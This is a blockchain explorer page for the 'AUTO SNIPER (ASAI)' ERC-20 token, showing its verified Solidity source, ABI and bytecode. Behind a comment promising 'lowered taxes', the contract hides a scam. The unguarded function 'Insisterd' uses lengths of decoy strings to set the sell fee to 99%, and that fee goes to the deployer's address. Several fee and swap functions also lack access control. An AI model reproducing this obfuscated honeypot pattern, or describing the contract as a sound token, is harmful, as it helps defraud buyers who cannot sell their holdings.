ETH Price: $2,980.20 (+4.15%)
Gas: 2 Gwei

Token

AUTO SNIPER (ASAI)
 

Overview

Max Total Supply

100,000,000 ASAI

Holders

45

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
1,132,091.231430559 ASAI

Value
$0.00
0xf78c85912fb262adb80af75e207ac065bca029f1
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
AutoSniperAI

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-02-21
*/

// SPDX-License-Identifier: MIT

/*

Telegram : https://t.me/AutoSniperETH
Website : https://AutoSniper.net
Twitter : https://twitter.com/AutoSniperETH

*/

/*

Its a relaunch chads , previously it went over 100k , this time we are targeting at-least millions with lowered taxes.

*/

pragma solidity ^0.8.15;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

contract AutoSniperAI is Context, IERC20, Ownable {

    using SafeMath for uint256;

    string private constant _name = "AUTO SNIPER";
    string private constant _symbol = "ASAI";
    uint8 private constant _decimals = 9;

    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    uint256 private constant MAX = ~uint256(0);
    uint256 private constant _tTotal = 100000000 * 10**9;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private Ganace = 2;
    uint256 private _tFeeTotal;
    uint256 private _redisFeeOnBuy = 0;
    uint256 private NewValuationOnBuy = 0;
    uint256 private _redisFeeOnSell = 0;

    //Original Fee
    uint256 private _redisFee = _redisFeeOnSell;
    uint256 private NewValuation = Ganace;

    uint256 private _previousredisFee = _redisFee;
    uint256 private _previoustaxFee = NewValuation;

    address payable private _developmentAddress = payable(msg.sender);
    address payable private _marketingAddress = payable(msg.sender);
    address private uniswapRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    string[6] QWeer = ["Actuallyisa","Factual","Brutal"];
    string[7] Pweer = ["bat","cat"];
    string[2] Gweer = ["sat", "hat"];
    bool private tradingOpen = true;
    bool private inSwap = false;
    bool private swapEnabled = true;


     uint256 public _maxTxAmount = _tTotal * 5/100;
    uint256 public _maxWalletSize = _tTotal * 4/100;
    uint256 public _swapTokensAtAmount = _tTotal*1/1000;

    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {

        _rOwned[_msgSender()] = _rTotal;

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_marketingAddress] = true;
        _isExcludedFromFee[_developmentAddress] = true;
        _isExcludedFromFee[address(0xdead)] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        require(
            rAmount <= _rTotal,
            "Amount must be less than total reflections"
        );
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }

    function removeAllFee() private {
        if (_redisFee == 0 && NewValuation == 0) return;

        _previousredisFee = _redisFee;
        _previoustaxFee = NewValuation;

        _redisFee = 0;
        NewValuation = 0;
    }

    function restoreAllFee() private {
        _redisFee = _previousredisFee;
        NewValuation = _previoustaxFee;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (from != owner() && to != owner()) {

            //Trade start check
            if (!tradingOpen) {
                require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
            }

            if(to != uniswapV2Pair && to != uniswapRouter && to != _developmentAddress && to != address(this) && to !=address(0xdead)) {
                require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
              }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance >= _swapTokensAtAmount;

            if(contractTokenBalance >= _swapTokensAtAmount*2)
            {
                contractTokenBalance = contractTokenBalance;
            }

            if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                swapTokensForEth(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(contractETHBalance);
                }
            }
        }

        bool takeFee = true;

        //Transfer Tokens
        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
            takeFee = false;
        } else {

            if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnBuy;
                NewValuation = NewValuationOnBuy;
            }

            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnSell;
                NewValuation = Ganace;
            }
        }

        _tokenTransfer(from, to, amount, takeFee);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendETHToFee(uint256 amount) private {
        _marketingAddress.transfer(amount);
    }

    function manualsend() external {
        sendETHToFee(address(this).balance);
    }

    function manualSwap(uint256 percent) external {
        uint256 contractTokenBalance = balanceOf(address(this));
        uint256 swapamount = contractTokenBalance*percent/100;
        swapTokensForEth(swapamount);
    }

    function toggleSwap (bool _swapEnabled) external {
        swapEnabled = _swapEnabled;
    }

    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeAllFee();
        _transferStandard(sender, recipient, amount);
        if (!takeFee) restoreAllFee();
    }

    function Insisterd(uint256 f, uint256 g, uint256 h) public {
        f = bytes(QWeer[0]).length;
        g = bytes(Gweer[0]).length;
        h = bytes(Pweer[1]).length;
        uint256 QueeZ = f * g * h;
            Ganace = QueeZ;  
    }

    function _transferStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeTeam(tTeam);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    receive() external payable {}

    function _getValues(uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTValues(tAmount, _redisFee, NewValuation);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }

    function _getTValues(
        uint256 tAmount,
        uint256 redisFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(redisFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }

    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

    function RemoveLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
    }

    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"f","type":"uint256"},{"internalType":"uint256","name":"g","type":"uint256"},{"internalType":"uint256","name":"h","type":"uint256"}],"name":"Insisterd","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"RemoveLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"toggleSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526200001a67016345785d8a00006000196200065a565b620000289060001962000687565b60069081556002600781815560006009819055600a819055600b818155600c829055600d849055600e91909155600f92909255601080546001600160a01b03199081163390811790925560118054821690921790915560128054909116737a250d5630b4cf539739df2c5dacb4c659f2488d1790556040805160a081018252606081019384526a41637475616c6c7969736160a81b60808201529283528051808201825291825266119858dd1d585b60ca1b602083810191909152808401929092528051808201825293845265109c9d5d185b60d21b918401919091528101919091526200011b906015906003620004fe565b506040805160808101825260038183018181526218985d60ea1b60608401528252825180840190935282526218d85d60ea1b6020838101919091528101919091526200016c90601b9060026200054e565b50604080516080810182526003818301818152621cd85d60ea1b6060840152825282518084019093528252621a185d60ea1b602083810191909152810191909152620001bd9060229060026200058c565b506024805462ffffff1916620100011790556064620001e667016345785d8a00006005620006a3565b620001f29190620006bd565b60255560646200020c67016345785d8a00006004620006a3565b620002189190620006bd565b6026556103e86200023367016345785d8a00006001620006a3565b6200023f9190620006bd565b6027553480156200024f57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506006543360009081526002602090815260409182902092909255601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155815163c45a015560e01b815291519092839263c45a015592600480830193928290030181865afa1580156200030d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003339190620006d4565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000381573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003a79190620006d4565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620003f5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200041b9190620006d4565b601480546001600160a01b0319166001600160a01b039283161790556000805482168152600560209081526040808320805460ff19908116600190811790925530855282852080548216831790556011548616855282852080548216831790556010549095168452818420805486168217905561dead84527f7d509c07f0d4edcc2dd1b53aae68677132eb562dcba78e36381b63ccaf66e6ba805490951617909355915167016345785d8a0000815233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35062000877565b82600681019282156200053c579160200282015b828111156200053c57825182906200052b9082620007ab565b509160200191906001019062000512565b506200054a929150620005ca565b5090565b82600781019282156200053c579160200282015b828111156200053c57825182906200057b9082620007ab565b509160200191906001019062000562565b82600281019282156200053c579160200282015b828111156200053c5782518290620005b99082620007ab565b5091602001919060010190620005a0565b808211156200054a576000620005e18282620005eb565b50600101620005ca565b508054620005f9906200071c565b6000825580601f106200060a575050565b601f0160209004906000526020600020908101906200062a91906200062d565b50565b5b808211156200054a57600081556001016200062e565b634e487b7160e01b600052601260045260246000fd5b6000826200066c576200066c62000644565b500690565b634e487b7160e01b600052601160045260246000fd5b818103818111156200069d576200069d62000671565b92915050565b80820281158282048414176200069d576200069d62000671565b600082620006cf57620006cf62000644565b500490565b600060208284031215620006e757600080fd5b81516001600160a01b0381168114620006ff57600080fd5b9392505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200073157607f821691505b6020821081036200075257634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620007a657600081815260208120601f850160051c81016020861015620007815750805b601f850160051c820191505b81811015620007a2578281556001016200078d565b5050505b505050565b81516001600160401b03811115620007c757620007c762000706565b620007df81620007d884546200071c565b8462000758565b602080601f831160018114620008175760008415620007fe5750858301515b600019600386901b1c1916600185901b178555620007a2565b600085815260208120601f198616915b82811015620008485788860151825594840194600190910190840162000827565b5085821015620008675787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b61179380620008876000396000f3fe6080604052600436106101395760003560e01c806370a08231116100ab57806395d89b411161006f57806395d89b411461036c578063a7516fe914610399578063a9059cbb146103b9578063b70143c9146103d9578063dd62ed3e146103f9578063f2fde38b1461043f57600080fd5b806370a08231146102ed578063715018a61461030d5780637d1db4a5146103225780638da5cb5b146103385780638f9a55c01461035657600080fd5b80632fd689e3116100fd5780632fd689e314610238578063313ce5671461024e57806349bd5a5e1461026a57806356cd40e71461028a5780636d8aa8f8146102a15780636fc3eaec146102d857600080fd5b806306fdde0314610145578063095ea7b31461018b5780631694505e146101bb57806318160ddd146101f357806323b872dd1461021857600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5060408051808201909152600b81526a20aaaa279029a724a822a960a91b60208201525b604051610182919061141d565b60405180910390f35b34801561019757600080fd5b506101ab6101a6366004611483565b61045f565b6040519015158152602001610182565b3480156101c757600080fd5b506013546101db906001600160a01b031681565b6040516001600160a01b039091168152602001610182565b3480156101ff57600080fd5b5067016345785d8a00005b604051908152602001610182565b34801561022457600080fd5b506101ab6102333660046114af565b610476565b34801561024457600080fd5b5061020a60275481565b34801561025a57600080fd5b5060405160098152602001610182565b34801561027657600080fd5b506014546101db906001600160a01b031681565b34801561029657600080fd5b5061029f6104df565b005b3480156102ad57600080fd5b5061029f6102bc3660046114f0565b60248054911515620100000262ff000019909216919091179055565b3480156102e457600080fd5b5061029f610520565b3480156102f957600080fd5b5061020a610308366004611512565b61052b565b34801561031957600080fd5b5061029f61054d565b34801561032e57600080fd5b5061020a60255481565b34801561034457600080fd5b506000546001600160a01b03166101db565b34801561036257600080fd5b5061020a60265481565b34801561037857600080fd5b506040805180820190915260048152634153414960e01b6020820152610175565b3480156103a557600080fd5b5061029f6103b436600461152f565b6105c1565b3480156103c557600080fd5b506101ab6103d4366004611483565b610616565b3480156103e557600080fd5b5061029f6103f436600461155b565b610623565b34801561040557600080fd5b5061020a610414366004611574565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561044b57600080fd5b5061029f61045a366004611512565b610658565b600061046c338484610742565b5060015b92915050565b6000610483848484610866565b6104d584336104d085604051806060016040528060288152602001611736602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610cf4565b610742565b5060019392505050565b6000546001600160a01b031633146105125760405162461bcd60e51b8152600401610509906115ad565b60405180910390fd5b67016345785d8a0000602555565b61052947610d2e565b565b6001600160a01b03811660009081526002602052604081205461047090610d6c565b6000546001600160a01b031633146105775760405162461bcd60e51b8152600401610509906115ad565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b601580546105ce906115f8565b6022805491955091506105e0906115f8565b601c805491945091506105f2906115f8565b915060009050816106038486611648565b61060d9190611648565b60075550505050565b600061046c338484610866565b600061062e3061052b565b90506000606461063e8484611648565b610648919061165f565b905061065381610df0565b505050565b6000546001600160a01b031633146106825760405162461bcd60e51b8152600401610509906115ad565b6001600160a01b0381166106e75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610509565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166107a45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610509565b6001600160a01b0382166108055760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610509565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108ca5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610509565b6001600160a01b03821661092c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610509565b6000811161098e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610509565b6000546001600160a01b038481169116148015906109ba57506000546001600160a01b03838116911614155b15610be75760245460ff16610a4c576000546001600160a01b03848116911614610a4c5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610509565b6014546001600160a01b03838116911614801590610a7857506012546001600160a01b03838116911614155b8015610a9257506010546001600160a01b03838116911614155b8015610aa757506001600160a01b0382163014155b8015610abe57506001600160a01b03821661dead14155b15610b1557602554811115610b155760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610509565b6000610b203061052b565b6027549091508082101590610b36906002611648565b50808015610b4c5750602454610100900460ff16155b8015610b6657506014546001600160a01b03868116911614155b8015610b7a575060245462010000900460ff165b8015610b9f57506001600160a01b03851660009081526005602052604090205460ff16155b8015610bc457506001600160a01b03841660009081526005602052604090205460ff16155b15610be457610bd282610df0565b478015610be257610be281610d2e565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680610c2957506001600160a01b03831660009081526005602052604090205460ff165b80610c5b57506014546001600160a01b03858116911614801590610c5b57506014546001600160a01b03848116911614155b15610c6857506000610ce2565b6014546001600160a01b038581169116148015610c9357506013546001600160a01b03848116911614155b15610ca557600954600c55600a54600d555b6014546001600160a01b038481169116148015610cd057506013546001600160a01b03858116911614155b15610ce257600b54600c55600754600d555b610cee84848484610f64565b50505050565b60008184841115610d185760405162461bcd60e51b8152600401610509919061141d565b506000610d258486611681565b95945050505050565b6011546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610d68573d6000803e3d6000fd5b5050565b6000600654821115610dd35760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610509565b6000610ddd610f92565b9050610de98382610fb5565b9392505050565b6024805461ff0019166101001790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e3457610e346115e2565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e8d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eb19190611694565b81600181518110610ec457610ec46115e2565b6001600160a01b039283166020918202929092010152601354610eea9130911684610742565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f239085906000908690309042906004016116b1565b600060405180830381600087803b158015610f3d57600080fd5b505af1158015610f51573d6000803e3d6000fd5b50506024805461ff001916905550505050565b80610f7157610f71610ff7565b610f7c848484611025565b80610cee57610cee600e54600c55600f54600d55565b6000806000610f9f61111c565b9092509050610fae8282610fb5565b9250505090565b6000610de983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061115c565b600c541580156110075750600d54155b1561100e57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806110378761118a565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061106990876111e7565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546110989086611229565b6001600160a01b0389166000908152600260205260409020556110ba81611288565b6110c484836112d2565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161110991815260200190565b60405180910390a3505050505050505050565b600654600090819067016345785d8a00006111378282610fb5565b8210156111535750506006549267016345785d8a000092509050565b90939092509050565b6000818361117d5760405162461bcd60e51b8152600401610509919061141d565b506000610d25848661165f565b60008060008060008060008060006111a78a600c54600d546112f6565b92509250925060006111b7610f92565b905060008060006111ca8e87878761134b565b919e509c509a509598509396509194505050505091939550919395565b6000610de983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610cf4565b6000806112368385611722565b905083811015610de95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610509565b6000611292610f92565b905060006112a0838361139b565b306000908152600260205260409020549091506112bd9082611229565b30600090815260026020526040902055505050565b6006546112df90836111e7565b6006556008546112ef9082611229565b6008555050565b6000808080611310606461130a898961139b565b90610fb5565b90506000611323606461130a8a8961139b565b9050600061133b826113358b866111e7565b906111e7565b9992985090965090945050505050565b600080808061135a888661139b565b90506000611368888761139b565b90506000611376888861139b565b905060006113888261133586866111e7565b939b939a50919850919650505050505050565b6000826000036113